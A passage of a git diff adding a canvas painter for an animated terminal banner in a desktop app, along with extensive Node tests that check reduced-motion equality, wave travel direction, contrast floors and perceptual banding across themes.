+      getBoundingClientRect: () => ({ height: 600, width: 1000 }),
+      getContext: () => context,
+    },
+    clears,
+    colors,
+    draws,
+    fills,
+  };
+}
+
+test("paints every emitted banner glyph at terminal cell coordinates", () => {
+  const banner = buildTerminalBanner(112, 46, 17 / 8.4);
+  assert.ok(banner);
+  const emitted = banner.cells.flat().filter((cell) => cell.char !== " ");
+  const target = canvas();
+  assert.equal(paintTerminalBanner(target.canvas, banner, palette, 2), true);
+  assert.equal(target.draws.length, emitted.length);
+  assert.ok(target.draws.some(([char]) => char === "█"));
+  assert.ok(target.draws.some(([char]) => char === "/"));
+  assert.ok(target.draws.some(([, x, y]) => x > 0 && y > 0));
+  assert.equal(target.canvas.width, 2000);
+  assert.equal(target.canvas.height, 1200);
+  assert.deepEqual(target.clears, [[0, 0, 1000, 600]]);
+});
+
+test("lays an opaque theme background under the banner before any glyph", () => {
+  const banner = buildTerminalBanner(112, 46, 17 / 8.4);
+  assert.ok(banner);
+  const target = canvas();
+  assert.equal(paintTerminalBanner(target.canvas, banner, palette, 2), true);
+  assert.equal(target.fills.length, 1);
+  const [ground] = target.fills;
+  assert.deepEqual(ground.args, [0, 0, 1000, 600]);
+  assert.equal(ground.color, palette.background);
+  assert.equal(ground.glyphsBefore, 0);
+  assert.ok(target.draws.length > 0);
+});
+
+test("uses visibly distinct theme-derived colors across banner layers", () => {
+  const banner = buildTerminalBanner(112, 46, 17 / 8.4);
+  assert.ok(banner);
+  const target = canvas();
+  paintTerminalBanner(target.canvas, banner, palette, 1);
+  assert.ok(new Set(target.colors).size >= 3);
+  assert.equal(target.colors.includes(""), false);
+});
+
+test("fails closed when the banner canvas has no 2d context", () => {
+  const banner = buildTerminalBanner(112, 46, 17 / 8.4);
+  assert.ok(banner);
+  assert.equal(
+    paintTerminalBanner(
+      {
+        height: 0,
+        width: 0,
+        getBoundingClientRect: () => ({ height: 600, width: 1000 }),
+        getContext: () => null,
+      },
+      banner,
+      palette,
+      1,
+    ),
+    false,
+  );
+});
diff --git a/desktop/src/features/terminal/terminalBannerPainter.ts b/desktop/src/features/terminal/terminalBannerPainter.ts
new file mode 100644
index 0000000000..39f4753a2d
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBannerPainter.ts
@@ -0,0 +1,87 @@
+import type { TerminalPalette } from "../../shared/theme/terminal-palette";
+import type { TerminalBanner, TerminalBannerLayer } from "./terminalBanner";
+import { bannerColor, bannerStops } from "./terminalBannerColor";
+import {
+  type BannerColorTable,
+  type BannerWaves,
+  makeCellHue,
+} from "./terminalBannerWave";
+import { TERMINAL_CELL_METRICS } from "./terminalRenderer";
+
+/**
+ * Optional animation input. ABSENT means the shipped static banner, not a
+ * stopped animation — those differ, because a halted rAF loop still parks on
+ * whatever phase it stopped at. `prefers-reduced-motion` takes this path, and
+ * the painter then calls `bannerColor` with no hue argument, which is the exact
+ * coupled call the static banner shipped with. Verified as byte equality on
+ * every draw call, not asserted by inspection.
+ */
+export type TerminalBannerMotion = {
+  phase: { field: number; wordmark: number };
+  table: BannerColorTable;
+  /** Tuning override. Omitted = the shipped FIELD_WAVE/WORDMARK_WAVE constants;
+   *  supplied only by the gates that drive each knob to its documented extreme. */
+  waves?: BannerWaves;
+};
+
+export function paintTerminalBanner(
+  canvas: HTMLCanvasElement,
+  banner: TerminalBanner,
+  palette: TerminalPalette,
+  dpr: number,
+  motion?: TerminalBannerMotion,
+): boolean {
+  const bounds = canvas.getBoundingClientRect();
+  const pixelWidth = Math.max(1, Math.round(bounds.width * dpr));
+  const pixelHeight = Math.max(1, Math.round(bounds.height * dpr));
+  if (canvas.width !== pixelWidth) canvas.width = pixelWidth;
+  if (canvas.height !== pixelHeight) canvas.height = pixelHeight;
+
+  const context = canvas.getContext("2d");
+  if (!context) return false;
+  context.setTransform(dpr, 0, 0, dpr, 0, 0);
+  context.clearRect(0, 0, bounds.width, bounds.height);
+  // The overlay sits above the grid canvas, so it needs its own opaque
+  // ground: without one the shell output painted underneath shows through
+  // the gaps between banner glyphs.
+  context.fillStyle = palette.background;
+  context.fillRect(0, 0, bounds.width, bounds.height);
+  context.font = TERMINAL_CELL_METRICS.font;
+  context.textBaseline = "alphabetic";
+
+  // Resolve the colour strategy ONCE, outside the loop: the motion and static
+  // paths differ in what they close over, not per cell. The field wave is a
+  // projection onto a direction vector, so the hue closure needs the banner's
+  // extent in BOTH axes; it is built here so the per-cell path stays four
+  // scalars with no per-cell allocation.
+  const columns = banner.cells[0]?.length ?? 1;
+  const rows = banner.cells.length || 1;
+  const colourOf = motion
+    ? (() => {
+        const hueAt = makeCellHue(columns, rows, motion.phase, motion.waves);
+        return (
+          layer: TerminalBannerLayer,
+          t: number,
+          column: number,
+          row: number,
+        ) => motion.table.lookup(layer, t, hueAt(layer, t, column, row));
+      })()
+    : (() => {
+        const { stops } = bannerStops(palette);
+        return (layer: TerminalBannerLayer, t: number) =>
+          bannerColor(palette, stops, layer, t);
+      })();
+
+  for (const [row, cells] of banner.cells.entries()) {
+    for (const [column, cell] of cells.entries()) {
+      if (cell.char === " " || !cell.layer) continue;
+      context.fillStyle = colourOf(cell.layer, cell.t, column, row);
+      context.fillText(
+        cell.char,
+        column * TERMINAL_CELL_METRICS.width,
+        row * TERMINAL_CELL_METRICS.height + TERMINAL_CELL_METRICS.baseline,
+      );
+    }
+  }
+  return true;
+}
diff --git a/desktop/src/features/terminal/terminalBannerWave.test.mjs b/desktop/src/features/terminal/terminalBannerWave.test.mjs
new file mode 100644
index 0000000000..1ac5cfc722
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBannerWave.test.mjs
@@ -0,0 +1,1131 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { extractTerminalPalette } from "../../shared/theme/terminal-palette.ts";
+import {
+  SYNTAX_THEMES,
+  loadThemeData,
+} from "../../shared/theme/theme-loader.ts";
+import { buildTerminalBanner } from "./terminalBanner.ts";
+import {
+  bannerColor,
+  bannerStops,
+  de00,
+  lab,
+  ratio,
+} from "./terminalBannerColor.ts";
+import { paintTerminalBanner } from "./terminalBannerPainter.ts";
+import {
+  CONTRAST_BUCKETS,
+  FIELD_PERIOD_SECONDS,
+  FIELD_WAVE,
+  HUE_BUCKETS,
+  WORDMARK_PERIOD_SECONDS,
+  WORDMARK_WAVE,
+  buildBannerColorTable,
+  cyclicRampPosition,
+  makeCellHue,
+  phaseAt,
+} from "./terminalBannerWave.ts";
+
+// WCAG 2.2 SC 1.4.3 for the wordmark; the field/bevel figures are the house
+// thresholds terminalBannerColor.ts is specced on.
+const WORDMARK_FLOOR = 4.5;
+const FIELD_CORE = 2.6;
+const FIELD_EDGE = 1.04;
+
+const COLUMNS = 112;
+const ROWS = 46;
+const ASPECT = 17 / 8.4;
+
+/** Phases sampled by every per-frame gate. Deliberately includes 0.5, the fold
+ *  turn, and values either side of it: the turning point is where a fold bug
+ *  would show and an evenly-spaced sweep can step right over it. */
+const PHASE_SWEEP = [
+  0, 0.07, 0.13, 0.21, 0.29, 0.37, 0.44, 0.49, 0.5, 0.51, 0.58, 0.66, 0.73,
+  0.81, 0.89, 0.95,
+];
+
+/**
+ * Every pair of cells that are NEIGHBOURS ON SCREEN and share a layer, in both
+ * axes, with their grid coordinates. This is the display's sampling rate — the
+ * only rate at which a "banding" claim means anything.
+ *
+ * Cross-layer pairs are excluded on purpose: the field/wordmark boundary is a
+ * designed contrast edge, not a gradient, and including it would swamp the
+ * measurement with an intended step.
+ */
+function adjacentSameLayerPairs(banner) {
+  const rows = banner.cells;
+  const usable = (cell) => cell && cell.char !== " " && cell.layer;
+  const pairs = [];
+  for (const [y, cells] of rows.entries())
+    for (let x = 1; x < cells.length; x += 1) {
+      const a = cells[x - 1];
+      const b = cells[x];
+      if (!usable(a) || !usable(b) || a.layer !== b.layer) continue;
+      pairs.push({ a, b, ax: x - 1, ay: y, bx: x, by: y });
+    }
+  for (let y = 1; y < rows.length; y += 1)
+    for (let x = 0; x < rows[y].length; x += 1) {
+      const a = rows[y - 1][x];
+      const b = rows[y][x];
+      if (!usable(a) || !usable(b) || a.layer !== b.layer) continue;
+      pairs.push({ a, b, ax: x, ay: y - 1, bx: x, by: y });
+    }
+  return pairs;
+}
+
+async function palettes() {
+  const out = [];
+  for (const name of SYNTAX_THEMES) {
+    out.push([name, extractTerminalPalette(await loadThemeData(name))]);
+  }
+  return out;
+}
+const THEMES = await palettes();
+
+/**
+ * PERCEPTUAL colour distance, CIEDE2000 — the metric every smoothness gate below
+ * uses, and the same one terminalBannerColor.ts already uses for its stop
+ * distinctness gate.
+ *
+ * Not interchangeable with sRGB distance, and the difference decided a verdict
+ * here: euclidean sRGB scores a hue rotation at constant lightness as harshly as
+ * a brightness cliff, and this animation is almost entirely hue rotation. See the
+ * adjacent-cell gate for the measured 20-of-62 vs 2-of-62 reversal.
+ */
+const perceptualStep = (a, b) => de00(lab(a), lab(b));
+
+/** One just-noticeable difference in dE00. The conventional threshold for "a
+ *  careful observer can tell these apart at all". */
+const JND = 1.0;
+
+function recordingCanvas() {
+  const draws = [];
+  const context = {
+    _fillStyle: "",
+    clearRect() {},
+    fillRect() {},
+    fillText(...args) {
+      draws.push({ args, color: this._fillStyle });
+    },
+    font: "",
+    set fillStyle(value) {
+      this._fillStyle = value;
+    },
+    get fillStyle() {
+      return this._fillStyle;
+    },
+    setTransform() {},
+    textBaseline: "",
+  };
+  return {
+    canvas: {
+      height: 0,
+      width: 0,
+      getBoundingClientRect: () => ({ height: 600, width: 1000 }),
+      getContext: () => context,
+    },
+    draws,
+  };
+}
+
+/**
+ * THE REDUCED-MOTION CONTRACT, as byte equality against an INDEPENDENT oracle.
+ *
+ * "prefers-reduced-motion = today's static banner" is easy to satisfy wrongly: a
+ * paused animation also stops moving, but it parks on whatever phase it halted
+ * at, which is NOT the shipped image.
+ *
+ * MY FIRST VERSION OF THIS GATE WAS VACUOUS, and a mutant proved it. It called
+ * `paintTerminalBanner` with no motion twice and compared the two results —
+ * which is a tautology: the same function on the same input. Mutating the static
+ * path to pass a hue argument (`bannerColor(..., t, 0.37)`) changed BOTH sides
+ * identically and the gate stayed green, so the single most important promise in
+ * this lane was being checked by an assertion that could not fail.
+ *
+ * The fix is an oracle the painter does not participate in: walk the banner
+ * geometry here in the test and compute each cell's colour with the shipped
+ * four-argument `bannerColor` call directly. Now "the static path is byte-identical
+ * to the shipped banner" is a claim about two independently derived things.
+ */
+test("reduced motion paints the shipped static banner, byte for byte", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  assert.ok(banner);
+  for (const [name, p] of THEMES.slice(0, 6)) {
+    const painted = recordingCanvas();
+    assert.equal(paintTerminalBanner(painted.canvas, banner, p, 2), true);
+
+    // The oracle: the shipped colour call, driven straight off the geometry,
+    // with no reference to the painter's own colour resolution.
+    const { stops } = bannerStops(p);
+    const expected = [];
+    for (const cells of banner.cells)
+      for (const cell of cells) {
+        if (cell.char === " " || !cell.layer) continue;
+        expected.push(bannerColor(p, stops, cell.layer, cell.t));
+      }
+
+    assert.ok(expected.length > 1000, `${name} drew nothing to compare`);
+    assert.deepEqual(
+      painted.draws.map((draw) => draw.color),
+      expected,
+      `${name} static path diverged from the shipped colour`,
+    );
+  }
+});
+
+/**
+ * The static path must NOT be reachable by handing it a zero phase — proof that
+ * the two arms are genuinely different code paths and that this suite's
+ * equality test above is not vacuous. If an animated frame at phase 0 already
+ * equalled the static banner, the byte-equality test would pass even with the
+ * reduced-motion branch deleted.
+ */
+test("an animated frame at phase zero is NOT the static banner", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const [, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+  const still = recordingCanvas();
+  const moving = recordingCanvas();
+  paintTerminalBanner(still.canvas, banner, p, 2);
+  paintTerminalBanner(moving.canvas, banner, p, 2, {
+    phase: { field: 0, wordmark: 0 },
+    table,
+  });
+  assert.equal(still.draws.length, moving.draws.length);
+  const differing = moving.draws.filter(
+    (draw, index) => draw.color !== still.draws[index].color,
+  ).length;
+  assert.ok(
+    differing > moving.draws.length / 4,
+    `only ${differing} of ${moving.draws.length} draws differ`,
+  );
+});
+
+/**
+ * DIRECTION, OVER THE WHOLE CYCLE. Eva's spec: the field originates
+ * BOTTOM-RIGHT and travels to TOP-LEFT; the wordmark stays left-to-right. A
+ * sign error is invisible in any still frame, which is why this measures
+ * movement over time rather than a property of one frame.
+ *
+ * THIS GATE USED TO SAMPLE ONLY 0.1 -> 0.2, justified by a comment on
+ * `cyclicRampPosition` claiming the wave reversed each half-cycle. That claim
+ * was false (see the proof there), and the narrow sampling it licensed is what
+ * let a reviewer read the code as back-and-forth motion. The honest version
+ * sweeps the ENTIRE cycle, including the alleged turn at phase 0.5 and the
+ * 1 -> 0 wrap — the exact two places the old gate did not look.
+ *
+ * Two instruments, because a crest tracker alone can hop between the level
+ * set's two branches and fake a reversal:
+ *
+ *  A. RIGID-TRANSLATION FIT. If the pattern translates, there is a shift `d`
+ *     along +direction with hue(x + d*u, phase + D) == hue(x, phase). Fit `d`
+ *     per phase and require ONE SIGN and a constant magnitude across the cycle.
+ *     Bounded inside one spatial period: a wider search aliases onto the twin
+ *     shift `d + period` and reports a wrong (though same-signed) magnitude.
+ *  B. BRANCH-CONTINUOUS CREST TRACKING. Follow the crossing nearest the
+ *     previous one — that is what "a crest" means — and require monotone travel
+ *     over 200 steps spanning the full cycle.
+ *
+ * CONTROLS, so the negative is worth something (both must be CAUGHT):
+ *   POS-1 phase folded in TIME. This is what "reverses every half-cycle"
+ *         actually looks like, and it is the mutant the false comment
+ *         described. The shipped spatial fold is not it.
+ *   POS-2 negated phase: uniform travel the WRONG way, i.e. a sign error.
+ */
+
+/** Visual-space unit vector and one-spatial-period pitch, along a FIXED axis.
+ *
+ *  Anchored to the SPEC's axis, never to `FIELD_WAVE.direction`: a gate that
+ *  derives its own measurement axis from the value under test rotates with a
+ *  direction bug and reports success. Measured — flipping the default to
+ *  `{x:1,y:1}` survived this gate until the axis was hardcoded here. The config
+ *  is checked against this axis separately, below. */
+const EXPECTED_FIELD_AXIS = { x: -Math.SQRT1_2, y: -Math.SQRT1_2 };
+const fieldGeometry = (columns, rows) => {
+  const { x: unitX, y: unitY } = EXPECTED_FIELD_AXIS;
+  const span =
+    Math.abs(unitX) * Math.max(1, columns) +
+    Math.abs(unitY) * Math.max(1, rows * ASPECT);
+  return { unitX, unitY, period: span / FIELD_WAVE.wavelength };
+};
+
+/**
+ * Fit the spatial shift along +direction that undoes a phase advance of
+ * `delta`. Returns the shift and its residual; a rigid translation fits with a
+ * residual at rounding level, so a large residual means "not a translation"
+ * rather than "translated by this much".
+ */
+const fitTranslation = (fieldAt, phase, delta, geometry, bound) => {
+  const samples = [];
+  for (let row = 8; row < 42; row += 3)
+    for (let column = 8; column < 112; column += 3) samples.push([column, row]);
+  const score = (d) => {
+    let sum = 0;
+    for (const [column, row] of samples) {
+      const here = fieldAt(column, row, phase);
+      const there = fieldAt(
+        column + geometry.unitX * d,
+        row + (geometry.unitY * d) / ASPECT,
+        phase + delta,
+      );
+      sum += (here - there) ** 2;
+    }
+    return Math.sqrt(sum / samples.length);
+  };
+  let best = 0;
+  let bestResidual = Number.POSITIVE_INFINITY;
+  for (let d = -bound; d <= bound; d += 0.5) {
+    const residual = score(d);
+    if (residual < bestResidual) {
+      bestResidual = residual;
+      best = d;
+    }
+  }
+  for (let d = best - 0.5; d <= best + 0.5; d += 0.01) {
+    const residual = score(d);
+    if (residual < bestResidual) {
+      bestResidual = residual;
+      best = d;
+    }
+  }
+  return { shift: best, residual: bestResidual };
+};
+
+/** Track one crest along the direction axis by continuity, full cycle. */
+const trackCrest = (fieldAt, geometry, columns, rows, steps) => {
+  const target = 0.5;
+  const at = (s, phase) =>
+    fieldAt(
+      columns / 2 + geometry.unitX * s,
+      rows / 2 + (geometry.unitY * s) / ASPECT,
+      phase,
+    );
+  const nearest = (phase, from) => {
+    let best = from;
+    let bestKey = Number.POSITIVE_INFINITY;
+    for (let s = from - 12; s <= from + 12; s += 0.02) {
+      // Prefer the closest match to `target`, tie-broken toward `from` so the
+      // tracker stays on ONE branch instead of jumping to an equal crossing.
+      const key =
+        Math.abs(at(s, phase) - target) * 1000 + Math.abs(s - from) * 1e-6;
+      if (key < bestKey) {
+        bestKey = key;
+        best = s;
+      }
+    }
+    return best;
+  };
+  let position = nearest(0, 0);
+  const start = position;
+  let negative = 0;
+  let positive = 0;
+  for (let index = 1; index <= steps; index += 1) {
+    const next = nearest(index / steps, position);
+    const step = next - position;
+    if (step < -1e-6) negative += 1;
+    if (step > 1e-6) positive += 1;
+    position = next;
+  }
+  return { net: position - start, negative, positive };
+};
+
+/** The three arms: shipped, plus the two reversal/sign controls. `transform`
+ *  maps the animation clock onto the phase actually handed to the module, so
+ *  the controls exercise the REAL composition instead of a reimplementation. */
+const TRAVEL_ARMS = [
+  { name: "shipped", transform: (phase) => phase, oneWay: true },
+  {
+    name: "POS-1 time-folded phase (a real reversal)",
+    transform: (phase) => {
+      const wrapped = phase - Math.floor(phase);
+      return wrapped < 0.5 ? wrapped * 2 : 2 - wrapped * 2;
+    },
+    oneWay: false,
+  },
+  {
+    name: "POS-2 negated phase (sign error)",
+    transform: (phase) => -phase,
+    oneWay: false,
+  },
+];
+
+/** Verdicts for one arm, so the assertions and the controls share an oracle.
+ *
+ *  Phase is obtained through the REAL clock path (`phaseAt(seconds)`), not by
+ *  handing `makeCellHue` a phase directly. Calling the hue factory with a
+ *  hand-made phase tests the wave functions in isolation and is blind to
+ *  anything `phaseAt` does — a time-fold injected there survived this gate
+ *  until it was routed this way. Same composition gap as M9: isolation gates
+ *  compose only if something tests the composition. `transform` perturbs the
+ *  CLOCK, so every arm still runs the whole shipped chain. */
+const travelVerdict = (transform) => {
+  const columns = 120;
+  const rows = 50;
+  const geometry = fieldGeometry(columns, rows);
+  // Phase advances by 0.01 of the FIELD cycle per unit of `phase` here, via the
+  // real seconds->phase conversion, so `phaseAt`'s wrapping is in the loop.
+  const hueFor = (phase) => {
+    const clock = transform(phase) * FIELD_PERIOD_SECONDS;
+    return makeCellHue(columns, rows, phaseAt(clock));
+  };
+  const fieldAt = (column, row, phase) =>
+    hueFor(phase)("field", 0.5, column, row);
+  const headAt = (t, phase) => hueFor(phase)("head", t, 0, 0);
+
+  // A: fits across the full cycle, spanning the fold turn and the wrap.
+  const fits = [
+    0, 0.1, 0.2, 0.3, 0.4, 0.45, 0.49, 0.5, 0.51, 0.55, 0.6, 0.7, 0.8, 0.9,
+    0.95, 0.99,
+  ].map((phase) => ({
+    phase,
+    ...fitTranslation(fieldAt, phase, 0.01, geometry, geometry.period / 2),
+  }));
+  const shiftSigns = new Set(
+    fits.map((fit) => Math.sign(+fit.shift.toFixed(2))),
+  );
+  const crest = trackCrest(fieldAt, geometry, columns, rows, 200);
+
+  // Wordmark: crest position in `t`, unwrapped, across the full cycle.
+  const tOfCrest = (phase) => {
+    let best = 0;
+    let bestError = Number.POSITIVE_INFINITY;
+    for (let step = 0; step <= 200; step += 1) {
+      const t = step / 200;
+      const error = Math.abs(headAt(t, phase) - 0.5);
+      if (error < bestError) {
+        bestError = error;
+        best = t;
+      }
+    }
+    return best;
+  };
+  let headBackwards = 0;
+  let headForwards = 0;
+  let previous = tOfCrest(0);
+  for (let index = 1; index <= 60; index += 1) {
+    const current = tOfCrest(index / 60);
+    let step = current - previous;
+    // The crest leaves the right edge and re-enters at the left: unwrap into
+    // (-0.5, 0.5] so a re-entry is not mistaken for backward travel.
+    if (step > 0.5) step -= 1;
+    if (step < -0.5) step += 1;
+    if (step < -1e-9) headBackwards += 1;
+    if (step > 1e-9) headForwards += 1;
+    previous = current;
+  }
+
+  return { fits, shiftSigns, crest, headBackwards, headForwards, geometry };
+};
+
+test("the field travels toward top-left and the wordmark left to right, across the WHOLE cycle", () => {
+  const { fits, shiftSigns, crest, headBackwards, headForwards, geometry } =
+    travelVerdict((phase) => phase);
+
+  // The config must agree with the axis this gate measures along. Hardcoding
+  // the axis is what gives the gate teeth against a direction flip, but it also
+  // means a config change would silently stop being measured — so assert the
+  // two match rather than trusting them to.
+  const configLength = Math.hypot(
+    FIELD_WAVE.direction.x,
+    FIELD_WAVE.direction.y,
+  );
+  assert.ok(
+    Math.abs(FIELD_WAVE.direction.x / configLength - EXPECTED_FIELD_AXIS.x) <
+      1e-9 &&
+      Math.abs(FIELD_WAVE.direction.y / configLength - EXPECTED_FIELD_AXIS.y) <
+        1e-9,
+    `FIELD_WAVE.direction ${JSON.stringify(FIELD_WAVE.direction)} is not the ` +
+      "spec's bottom-right -> top-left axis this gate measures along",
+  );
+
+  // A. One sign, constant magnitude, translation-quality residual.
+  assert.deepEqual(
+    [...shiftSigns],
+    [1],
+    `field shift changed sign across the cycle: ${fits
+      .map((fit) => `${fit.phase}:${fit.shift.toFixed(2)}`)
+      .join(" ")}`,
+  );
+  const shifts = fits.map((fit) => fit.shift);
+  const spread = Math.max(...shifts) - Math.min(...shifts);
+  assert.ok(
+    spread < 0.05,
+    `field velocity is not constant across the cycle: spread ${spread.toFixed(3)}px`,
+  );
+  const worstResidual = Math.max(...fits.map((fit) => fit.residual));
+  assert.ok(
+    worstResidual < 1e-3,
+    `field is not a rigid translation: worst residual ${worstResidual.toExponential(2)}`,
+  );
+  // Magnitude matches the closed form d = D * span / wavelength, so the gate
+  // pins the aspect correction too: a wrong ASPECT changes `span`.
+  const predicted = 0.01 * geometry.period;
+  assert.ok(
+    Math.abs(shifts[0] - predicted) < 0.05,
+    `shift ${shifts[0].toFixed(3)}px disagrees with closed form ${predicted.toFixed(3)}px`,
+  );
+
+  // B. Monotone crest travel over the full cycle, and exactly one spatial
+  // period of net travel — continuous travel AND a seamless wrap together.
+  assert.equal(
+    crest.negative,
+    0,
+    `field crest moved backward on ${crest.negative}/200 steps`,
+  );
+  assert.ok(crest.positive > 190, `field crest stalled: ${crest.positive}/200`);
+  assert.ok(
+    Math.abs(crest.net - geometry.period) < geometry.period * 0.05,
+    `net travel ${crest.net.toFixed(1)}px is not one spatial period (${geometry.period.toFixed(1)}px)`,
+  );
+
+  // Wordmark: strictly rightward over the whole cycle, wrap unwrapped.
+  assert.equal(
+    headBackwards,
+    0,
+    `wordmark crest moved leftward on ${headBackwards}/60 steps`,
+  );
+  assert.ok(headForwards > 55, `wordmark crest stalled: ${headForwards}/60`);
+});
+
+/**
+ * THE GATE'S OWN NEGATIVE CONTROLS. A direction gate that a reversal can
+ * survive is worthless, and the previous one could: POS-1 is precisely the
+ * motion the old comment claimed the code had, and the old 0.1->0.2 sampling
+ * could not see it. Both controls must be CAUGHT by the assertions above.
+ */
+test("the travel gate catches a real reversal and a sign error", () => {
+  for (const arm of TRAVEL_ARMS.filter((candidate) => !candidate.oneWay)) {
+    const { shiftSigns, crest, headBackwards } = travelVerdict(arm.transform);
+    const caught =
+      shiftSigns.size > 1 ||
+      !shiftSigns.has(1) ||
+      crest.negative > 0 ||
+      headBackwards > 0;
+    assert.ok(
+      caught,
+      `${arm.name} was NOT caught: signs {${[...shiftSigns].join(",")}}, ` +
+        `crest negative ${crest.negative}, wordmark backward ${headBackwards}`,
+    );
+  }
+
+  // And the shipped arm must pass the same oracle, or "caught" above is just
+  // an instrument that fails everything.
+  const shipped = travelVerdict((phase) => phase);
+  assert.deepEqual([...shipped.shiftSigns], [1]);
+  assert.equal(shipped.crest.negative, 0);
+  assert.equal(shipped.headBackwards, 0);
+});
+
+/** The two waves must not be one wave. Same period would read as a single
+ *  sweep bouncing, and equal periods is the likeliest careless edit. */
+test("the two waves have different periods and neither is instant", () => {
+  assert.notEqual(FIELD_PERIOD_SECONDS, WORDMARK_PERIOD_SECONDS);
+  // 'Slow' means slow. Ambience, not a screensaver: a full traversal must take
+  // more than five seconds on both waves. (Floor halved from 10s with Tyler's
+  // "double the animation speed" amendment, msg 4e7abbc8.)
+  assert.ok(FIELD_PERIOD_SECONDS > 5);
+  assert.ok(WORDMARK_PERIOD_SECONDS > 5);
+});
+
+test("phase wraps into [0,1) and advances monotonically within a cycle", () => {
+  for (const seconds of [0, 1, 7.5, 25.9, 26, 260.4, 1e5]) {
+    const { field, wordmark } = phaseAt(seconds);
+    assert.ok(field >= 0 && field < 1, `field phase ${field}`);
+    assert.ok(wordmark >= 0 && wordmark < 1, `wordmark phase ${wordmark}`);
+  }
+  // A full period returns to the start: the loop must be seamless, or the
+  // banner visibly jumps once every FIELD_PERIOD_SECONDS.
+  assert.ok(Math.abs(phaseAt(FIELD_PERIOD_SECONDS).field - 0) < 1e-9);
+  assert.ok(Math.abs(phaseAt(WORDMARK_PERIOD_SECONDS).wordmark - 0) < 1e-9);
+});
+
+/** The chassis is not part of either wave. */
+test("bevels are phase-invariant", () => {
+  for (const phase of [0, 0.13, 0.5, 0.87]) {
+    const hue = makeCellHue(COLUMNS, ROWS, { field: phase, wordmark: phase });
+    for (const layer of ["bevel_hi", "bevel_lo"]) {
+      assert.equal(hue(layer, 0, 40, 20), 0);
+    }
+  }
+  const [, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+  const hi = new Set();
+  const lo = new Set();
+  for (const phase of [0, 0.2, 0.4, 0.6, 0.8]) {
+    hi.add(table.lookup("bevel_hi", 0, phase));
+    lo.add(table.lookup("bevel_lo", 0, phase));
+  }
+  assert.equal(hi.size, 1);
+  assert.equal(lo.size, 1);
+});
+
+/**
+ * CONTRAST FLOORS ON EVERY FRAME, measured on the QUANTISED TABLE OUTPUT.
+ *
+ * Gating the ideal `bannerColor` function would be the wrong instrument: the
+ * pixels that ship come from the LUT, and a bucket boundary is exactly where a
+ * floor gets lost. This walks every table entry — which is every colour the
+ * animation can ever produce at any phase, since the table is
+ * phase-independent — on all 62 shipped themes.
+ */
+test("every colour the animation can produce holds its contrast floor", () => {
+  const bad = [];
+  for (const [name, p] of THEMES) {
+    const table = buildBannerColorTable(p);
+    const bg = p.background;
+    for (const colour of table.head) {
+      const cr = ratio(colour, bg);
+      if (cr < WORDMARK_FLOOR - 0.005)
+        bad.push(`${name} wordmark ${cr.toFixed(2)}`);
+    }
+    for (const [contrastIndex, row] of table.field.entries()) {
+      // The field's specced envelope: it decays from FIELD_CORE at the box to
+      // FIELD_EDGE at the rim, so a bound that holds at every bucket is the
+      // envelope itself, not a single number.
+      const t = (contrastIndex + 0.5) / CONTRAST_BUCKETS;
+      const target = FIELD_CORE + (FIELD_EDGE - FIELD_CORE) * t;
+      for (const colour of row) {
+        const cr = ratio(colour, bg);
+        if (cr < FIELD_EDGE - 0.02 || cr > FIELD_CORE + 0.25)
+          bad.push(`${name} field ${cr.toFixed(2)} outside envelope`);
+        if (Math.abs(cr - target) > 0.35)
+          bad.push(
+            `${name} field bucket ${contrastIndex} ${cr.toFixed(2)} vs target ${target.toFixed(2)}`,
+          );
+      }
+    }
+  }
+  assert.deepEqual(bad.slice(0, 8), [], `${bad.length} failures`);
+});
+
+/**
+ * The field's radial contrast decay must survive the decoupling. This is the
+ * invariant that BREAKS if hue and contrast are driven off one axis: animate
+ * the coupled `t` and the rim pulses bright. Checked at several phases, since
+ * a phase-independent monotonicity is the whole point of the split.
+ */
+test("the field still fades monotonically outward at every phase", () => {
+  for (const [name, p] of THEMES) {
+    const table = buildBannerColorTable(p);
+    for (const hue of [0, 0.17, 0.33, 0.5, 0.71, 0.94]) {
+      let previous = Number.POSITIVE_INFINITY;
+      for (let index = 0; index < CONTRAST_BUCKETS; index += 1) {
+        const t = (index + 0.5) / CONTRAST_BUCKETS;
+        const cr = ratio(table.lookup("field", t, hue), p.background);
+        assert.ok(
+          cr <= previous + 0.02,
+          `${name} non-monotone at bucket ${index} hue ${hue}`,
+        );
+        previous = cr;
+      }
+    }
+  }
+});
+
+/**
+ * BANDING, AT THE DISPLAY'S OWN SAMPLING RATE, IN A PERCEPTUAL METRIC, and
+ * benchmarked against the shipped static banner rather than an absolute number.
+ *
+ * THREE CORRECTIONS TO MY OWN EARLIER VERSIONS OF THIS GATE, each measured:
+ *
+ * 1. WRONG SAMPLING RATE. It first compared ADJACENT HUE BUCKETS, steps of
+ *    1/128 in hue. Nothing on screen samples the axis that finely — adjacent
+ *    field cells are ~1/112 apart in projected position and one 60Hz frame
+ *    advances the phase by 1/(13*60). It was reporting an inherited property of
+ *    the ramp's steep stretch, and failed on 24 themes while the pixels were fine.
+ *
+ * 2. WRONG THRESHOLD. An absolute 8-unit bound was never a standard the shipped
+ *    product meets: the STATIC banner already steps 66.3 sRGB between adjacent
+ *    cells on light-plus. Hence per-theme and relative — no worse than that
+ *    theme's own static worst.
+ *
+ * 3. WRONG METRIC, and this one reversed the verdict. Euclidean sRGB distance
+ *    counts a hue swing at constant lightness the same as a brightness cliff,
+ *    and this animation is almost entirely the former. On raw sRGB, 20 of 62
+ *    themes scored "worse than static" (max 47.1 vs 68.9); on CIEDE2000 — the
+ *    perceptual metric this module already uses for its distinctness gate — it
+ *    is 2 of 62, max 13.03 against a static 28.34. The eye is the thing being
+ *    gated, so dE00 is the instrument.
+ *
+ * Tolerance is 1.0 dE00, one just-noticeable difference, over the theme's own
+ * static worst. CALIBRATED, not guessed: at the default wavelength the worst
+ * excess across 62 themes is 0.47, it stays under 0.62 through wavelength 2.0,
+ * and at wavelength 4.0 it jumps to 8.92 and fails 24 themes. The gate
+ * discriminates a real stripe regression from measurement noise.
+ *
+ * Both axes are walked because the wave is now diagonal: aspect correction makes
+ * the vertical gradient comparable to the horizontal, so a rows-only gate would
+ * miss half the field.
+ */
+test("adjacent-cell colour steps are no worse than the shipped static banner", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const pairs = adjacentSameLayerPairs(banner);
